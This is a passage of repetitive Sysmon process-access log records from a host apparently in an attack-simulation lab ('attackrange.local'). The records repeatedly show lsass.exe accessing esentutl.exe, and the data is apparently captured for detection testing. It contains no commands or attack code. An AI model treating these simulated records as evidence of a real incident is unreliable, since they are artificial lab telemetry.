C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.338","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5450,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.338\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 2720\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.338","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"2720","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5451,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.338\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 2720\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.338","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"2720","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5452,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.338\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.338","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5453,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.338\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 2720\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.338","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"2720","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5454,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.338\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 2720\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.338","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"2720","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5455,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.338\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.338","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5456,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.338\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 2720\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 